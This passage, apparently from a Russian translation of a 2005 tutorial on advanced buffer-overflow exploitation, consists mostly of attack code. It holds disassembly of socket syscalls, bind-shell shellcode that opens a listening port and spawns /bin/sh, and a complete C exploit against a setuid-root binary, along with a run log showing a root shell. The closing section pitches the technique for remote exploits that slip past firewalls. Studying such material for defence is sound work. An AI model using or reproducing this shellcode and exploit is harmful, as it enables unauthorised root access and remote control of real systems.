0x804caae <fork+30>: nop 0x804caaf <fork+31>: nop End of assembler dump. (gdb) disassemble socket Dump of assembler code for function socket: 0x804cda0 <socket>: movl %ebx,%edx 0x804cda2 <socket+2>: movl $0x66,%eax 0x804cda7 <socket+7>: movl $0x1,%ebx 0x804cdac <socket+12>: leal 0x4(%esp,1),%ecx 0x804cdb0 <socket+16>: int $0x80 0x804cdb2 <socket+18>: movl %edx,%ebx 0x804cdb4 <socket+20>: cmpl $0xffffff83,%eax 0x804cdb7 <socket+23>: jae 0x804cdc0 <__syscall_error> 0x804cdbd <socket+29>: ret 0x804cdbe <socket+30>: nop 0x804cdbf <socket+31>: nop End of assembler dump. (gdb) disassemble bind Dump of assembler code for function bind: 0x804cd60 <bind>: movl %ebx,%edx 0x804cd62 <bind+2>: movl $0x66,%eax 0x804cd67 <bind+7>: movl $0x2,%ebx 0x804cd6c <bind+12>: leal 0x4(%esp,1),%ecx 0x804cd70 <bind+16>: int $0x80 0x804cd72 <bind+18>: movl %edx,%ebx 0x804cd74 <bind+20>: cmpl $0xffffff83,%eax 0x804cd77 <bind+23>: jae 0x804cdc0 <__syscall_error> 0x804cd7d <bind+29>: ret 0x804cd7e <bind+30>: nop 0x804cd7f <bind+31>: nop End of assembler dump. (gdb) disassemble listen Dump of assembler code for function listen: 0x804cd80 <listen>: movl %ebx,%edx 0x804cd82 <listen+2>: movl $0x66,%eax 0x804cd87 <listen+7>: movl $0x4,%ebx 0x804cd8c <listen+12>: leal 0x4(%esp,1),%ecx 0x804cd90 <listen+16>: int $0x80 0x804cd92 <listen+18>: movl %edx,%ebx 0x804cd94 <listen+20>: cmpl $0xffffff83,%eax 0x804cd97 <listen+23>: jae 0x804cdc0 <__syscall_error> 0x804cd9d <listen+29>: ret 0x804cd9e <listen+30>: nop 0x804cd9f <listen+31>: nop End of assembler dump. (gdb) disassemble accept Dump of assembler code for function __accept: 0x804cd40 <__accept>: movl %ebx,%edx 0x804cd42 <__accept+2>: movl $0x66,%eax 0x804cd47 <__accept+7>: movl $0x5,%ebx 0x804cd4c <__accept+12>: leal 0x4(%esp,1),%ecx 0x804cd50 <__accept+16>: int $0x80 0x804cd52 <__accept+18>: movl %edx,%ebx 0x804cd54 <__accept+20>: cmpl $0xffffff83,%eax 0x804cd57 <__accept+23>: jae 0x804cdc0 <__syscall_error> 0x804cd5d <__accept+29>: ret 0x804cd5e <__accept+30>: nop 0x804cd5f <__accept+31>: nop End of assembler dump. (gdb) disassemble dup2 Dump of assembler code for function dup2: 0x804cbe0 <dup2>: movl %ebx,%edx 0x804cbe2 <dup2+2>: movl 0x8(%esp,1),%ecx 0x804cbe6 <dup2+6>: movl 0x4(%esp,1),%ebx 0x804cbea <dup2+10>: movl $0x3f,%eax 0x804cbef <dup2+15>: int $0x80 0x804cbf1 <dup2+17>: movl %edx,%ebx 0x804cbf3 <dup2+19>: cmpl $0xfffff001,%eax 0x804cbf8 <dup2+24>: jae 0x804cdc0 <__syscall_error> 0x804cbfe <dup2+30>: ret 0x804cbff <dup2+31>: nop End of assembler dump. (gdb) --------------------------------------------------------------------------- fork(); code --------------------------------------------------------------------------- char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x02" /* movb $0x2,%al */ "\xcd\x80"; /* int $0x80 */ --------------------------------------------------------------------------- socket(2,1,6); code --------------------------------------------------------------------------- /* %ecx is a pointer of all arguments. */ char code[]= "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xf1" /* movl %esi,%ecx */ "\xb0\x02" /* movb $0x2,%al */ "\x89\x06" /* movl %eax,(%esi) */ /* The first argument. */ /* %esi has reference free memory space before using */ /* this instruction. */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* The second argument. */ "\xb0\x06" /* movb $0x6,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ /* The third argument. */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x01" /* movb $0x1,%bl */ "\xcd\x80"; /* int $0x80 */ --------------------------------------------------------------------------- bind(soc,(struct sockaddr *)&serv_addr,0x10); code --------------------------------------------------------------------------- /* %ecx is a pointer of all arguments. */ char code[]= "\x89\xf1" /* movl %esi,%ecx */ "\x89\x06" /* movl %eax,(%esi) */ /* %eax has to have soc value before using this */ /* instruction. */ /* the first argument. */ "\xb0\x02" /* movb $0x2,%al */ "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */ /* serv_addr.sin_family=2 */ /* 2 is stored at 0xc(%esi). */ "\xb0\x77" /* movb $0x77,%al */ "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */ /* store port number at 0xe(%esi) */ "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */ /* %eax = the address of serv_addr */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* the second argument. */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x10" /* movl %eax,0x10(%esi) */ /* serv_addr.sin_addr.s_addr=0 */ /* 0 is stored at 0x10(%esi). */ "\xb0\x10" /* movb $0x10,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ /* the third argument. */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x02" /* movb $0x2,%bl */ "\xcd\x80"; /* int $0x80 */ --------------------------------------------------------------------------- listen(soc,1); code --------------------------------------------------------------------------- /* %ecx is a pointer of all arguments. */ char code[]= "\x89\xf1" /* movl %esi,%ecx */ "\x89\x06" /* movl %eax,(%esi) */ /* %eax has to have soc value before using this */ /* instruction. */ /* the first argument. */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* the second argument. */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x04" /* movb $0x4,%bl */ "\xcd\x80"; /* int $0x80 */ --------------------------------------------------------------------------- accept(soc,0,0); code --------------------------------------------------------------------------- /* %ecx is a pointer of all arguments. */ char code[]= "\x89\xf1" /* movl %esi,%ecx */ "\x89\xf1" /* movl %eax,(%esi) */ /* %eax has to have soc value before using this */ /* instruction. */ /* the first argument. */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ /* the second argument. */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ /* the third argument. */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x05" /* movb $0x5,%bl */ "\xcd\x80"; /* int $0x80 */ --------------------------------------------------------------------------- dup2(cli,0); code --------------------------------------------------------------------------- /* the first argument is %ebx and the second argument */ /* is %ecx */ char code[]= /* %eax has to have cli value before using this */ /* instruction. */ "\x88\xc3" /* movb %al,%bl */ "\xb0\x3f" /* movb $0x3f,%al */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xcd\x80"; /* int $0x80 */ ---------------------------------------------------------------------------6.3 Модифицируем нормальный шеллкод:
новый шеллкод
Код (Text):
--------------------------------------------------------------------------- char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x02" /* movb $0x2,%al */ "\xcd\x80" /* int $0x80 */ "\x85\xc0" /* testl %eax,%eax */ "\x75\x43" /* jne 0x43 */ /* fork()!=0 case */ /* It will call exit(0) */ /* To do that, it will jump twice, because exit(0) is */ /* located so far. */ "\xeb\x43" /* jmp 0x43 */ /* fork()==0 case */ /* It will call -0xa5 */ /* To do that, it will jump twice, because call -0xa5 */ /* is located so far. */ "\x5e" /* popl %esi */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xf1" /* movl %esi,%ecx */ "\xb0\x02" /* movb $0x2,%al */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x06" /* movb $0x6,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x01" /* movb $0x1,%bl */ "\xcd\x80" /* int $0x80 */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x02" /* movb $0x2,%al */ "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */ "\xb0\x77" /* movb $0x77,%al */ "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */ "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x10" /* movl %eax,0x10(%esi) */ "\xb0\x10" /* movb $0x10,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x02" /* movb $0x2,%bl */ "\xcd\x80" /* int $0x80 */ "\xeb\x04" /* jmp 0x4 */ "\xeb\x55" /* jmp 0x55 */ "\xeb\x5b" /* jmp 0x5b */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x04" /* movb $0x4,%bl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x05" /* movb $0x5,%bl */ "\xcd\x80" /* int $0x80 */ "\x88\xc3" /* movb %al,%bl */ "\xb0\x3f" /* movb $0x3f,%al */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x01" /* movb $0x1,%cl */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x02" /* movb $0x2,%cl */ "\xcd\x80" /* int $0x80 */ "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */ /* %eax="/bin" */ "\x89\x06" /* movl %eax,(%esi) */ "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */ /* %eax="/sh/" */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x01" /* movb $0x1,%al */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xcd\x80" /* int $0x80 */ "\xe8\x5b\xff\xff\xff"; /* call -0xa5 */ ---------------------------------------------------------------------------6.4 Эксплуатируем программу vulnerable4
С таким кодом мы можем влегкую написать код эксплойта. А Вы должны дописать код, чтобы законнектиться к сокету.
Код (Text):
exploit4.c --------------------------------------------------------------------------- #include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<netdb.h> #include<netinet/in.h> #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]= "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x02" /* movb $0x2,%al */ "\xcd\x80" /* int $0x80 */ "\x85\xc0" /* testl %eax,%eax */ "\x75\x43" /* jne 0x43 */ "\xeb\x43" /* jmp 0x43 */ "\x5e" /* popl %esi */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\x89\xf1" /* movl %esi,%ecx */ "\xb0\x02" /* movb $0x2,%al */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x06" /* movb $0x6,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x01" /* movb $0x1,%bl */ "\xcd\x80" /* int $0x80 */ "\x89\x06" /* movl %eax,(%esi) */ "\xb0\x02" /* movb $0x2,%al */ "\x66\x89\x46\x0c" /* movw %ax,0xc(%esi) */ "\xb0\x77" /* movb $0x77,%al */ "\x66\x89\x46\x0e" /* movw %ax,0xe(%esi) */ "\x8d\x46\x0c" /* leal 0xc(%esi),%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x10" /* movl %eax,0x10(%esi) */ "\xb0\x10" /* movb $0x10,%al */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x02" /* movb $0x2,%bl */ "\xcd\x80" /* int $0x80 */ "\xeb\x04" /* jmp 0x4 */ "\xeb\x55" /* jmp 0x55 */ "\xeb\x5b" /* jmp 0x5b */ "\xb0\x01" /* movb $0x1,%al */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x04" /* movb $0x4,%bl */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x89\x46\x08" /* movl %eax,0x8(%esi) */ "\xb0\x66" /* movb $0x66,%al */ "\xb3\x05" /* movb $0x5,%bl */ "\xcd\x80" /* int $0x80 */ "\x88\xc3" /* movb %al,%bl */ "\xb0\x3f" /* movb $0x3f,%al */ "\x31\xc9" /* xorl %ecx,%ecx */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x01" /* movb $0x1,%cl */ "\xcd\x80" /* int $0x80 */ "\xb0\x3f" /* movb $0x3f,%al */ "\xb1\x02" /* movb $0x2,%cl */ "\xcd\x80" /* int $0x80 */ "\xb8\x2f\x62\x69\x6e" /* movl $0x6e69622f,%eax */ "\x89\x06" /* movl %eax,(%esi) */ "\xb8\x2f\x73\x68\x2f" /* movl $0x2f68732f,%eax */ "\x89\x46\x04" /* movl %eax,0x4(%esi) */ "\x31\xc0" /* xorl %eax,%eax */ "\x88\x46\x07" /* movb %al,0x7(%esi) */ "\x89\x76\x08" /* movl %esi,0x8(%esi) */ "\x89\x46\x0c" /* movl %eax,0xc(%esi) */ "\xb0\x0b" /* movb $0xb,%al */ "\x89\xf3" /* movl %esi,%ebx */ "\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */ "\x8d\x56\x0c" /* leal 0xc(%esi),%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xorl %eax,%eax */ "\xb0\x01" /* movb $0x1,%al */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xcd\x80" /* int $0x80 */ "\xe8\x5b\xff\xff\xff"; /* call -0xa5 */ unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } long getip(char *name) { struct hostent *hp; long ip; if((ip=inet_addr(name))==-1) { if((hp=gethostbyname(name))==NULL) { fprintf(stderr,"Can't resolve host.\n"); exit(0); } memcpy(&ip,(hp->h_addr),4); } return ip; } int exec_sh(int sockfd) { char snd[4096],rcv[4096]; fd_set rset; while(1) { FD_ZERO(&rset); FD_SET(fileno(stdin),&rset); FD_SET(sockfd,&rset); select(255,&rset,NULL,NULL,NULL); if(FD_ISSET(fileno(stdin),&rset)) { memset(snd,0,sizeof(snd)); fgets(snd,sizeof(snd),stdin); write(sockfd,snd,strlen(snd)); } if(FD_ISSET(sockfd,&rset)) { memset(rcv,0,sizeof(rcv)); if(read(sockfd,rcv,sizeof(rcv))<=0) exit(0); fputs(rcv,stdout); } } } int connect_sh(long ip) { int sockfd,i; struct sockaddr_in sin; printf("Connect to the shell\n"); fflush(stdout); memset(&sin,0,sizeof(sin)); sin.sin_family=AF_INET; sin.sin_port=htons(30464); sin.sin_addr.s_addr=ip; if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0) { printf("Can't create socket\n"); exit(0); } if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0) { printf("Can't connect to the shell\n"); exit(0); } return sockfd; } void main(int argc,char **argv) { char buff[RET_POSITION+RANGE+ALIGN+1],*ptr; long addr; unsigned long sp; int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1; int i; int sockfd; if(argc>1) offset=atoi(argv[1]); sp=get_sp(); addr=sp-offset; for(i=0;i<bsize;i+=4) { buff[i+ALIGN]=(addr&0x000000ff); buff[i+ALIGN+1]=(addr&0x0000ff00)>>8; buff[i+ALIGN+2]=(addr&0x00ff0000)>>16; buff[i+ALIGN+3]=(addr&0xff000000)>>24; } for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++) buff[i]=NOP; ptr=buff+bsize-RANGE*2-strlen(shellcode)-1; for(i=0;i<strlen(shellcode);i++) *(ptr++)=shellcode[i]; buff[bsize-1]='\0'; printf("Jump to 0x%08x\n",addr); if(fork()==0) { execl("./vulnerable4","vulnerable4",buff,0); exit(0); } sleep(5); sockfd=connect_sh(getip("127.0.0.1")); exec_sh(sockfd); } ---------------------------------------------------------------------------жертва vulnerable4:
Код (Text):
--------------------------------------------------------------------------- [ ohhara@ohhara ~ ] {1} $ ls -l vulnerable4 -rwsr-xr-x 1 root root 4091 Oct 18 20:21 vulnerable4* [ ohhara@ohhara ~ ] {2} $ ls -l exploit4 -rwxr-xr-x 1 ohhara cse 7973 Oct 18 20:25 exploit4* [ ohhara@ohhara ~ ] {3} $ ./exploit4 Jump to 0xbfffec64 Connect to the shell Can't connect to the shell [ ohhara@ohhara ~ ] {4} $ ./exploit4 500 Jump to 0xbfffea70 Connect to the shell whoami root ---------------------------------------------------------------------------6.5 Чего мы можем достить при помощи этой техники?
Мы можем писать эксплойты удаленного контроля. Если уязвимый хост находится за файрволлом, то мы можем просто открыть сокет на нефильтруемом порту. Это очень полезная техника в том случае, когда вы атакуете rpc сервис с переполнением буфера.
7. Outro
В этой статье мы пролили свет на 4 техники переполнения буфера, такие как: прохождение через фильтры, смена uid назад на 0, обход chroot-а и открытие сокета. Эти техники будут очень полезны при написании эксплойтов. Кроме того, эти техники можно комбинировать. Все программеры должны быть осторожными при написании серверов или setuid рутовских программ!!! ПОЖАЛУЙСТА БУДЬТЕ ОСТОРОЖНЫ!!!!!(кол-во '!' - взято из оригинала. прим. пер.)
8. Ссылки
Smashing The Stack For Fun And Profit by Aleph1 wu-ftpd remote exploit code by duke ADMmountd remote exploit code by ADM
9. Итд.
Сорри за мой плохой Инглиш (автор) © Taeho Oh, пер. varnie
Продвинутые техники написания эксплойтов переполнения буфера
Дата публикации 13 апр 2005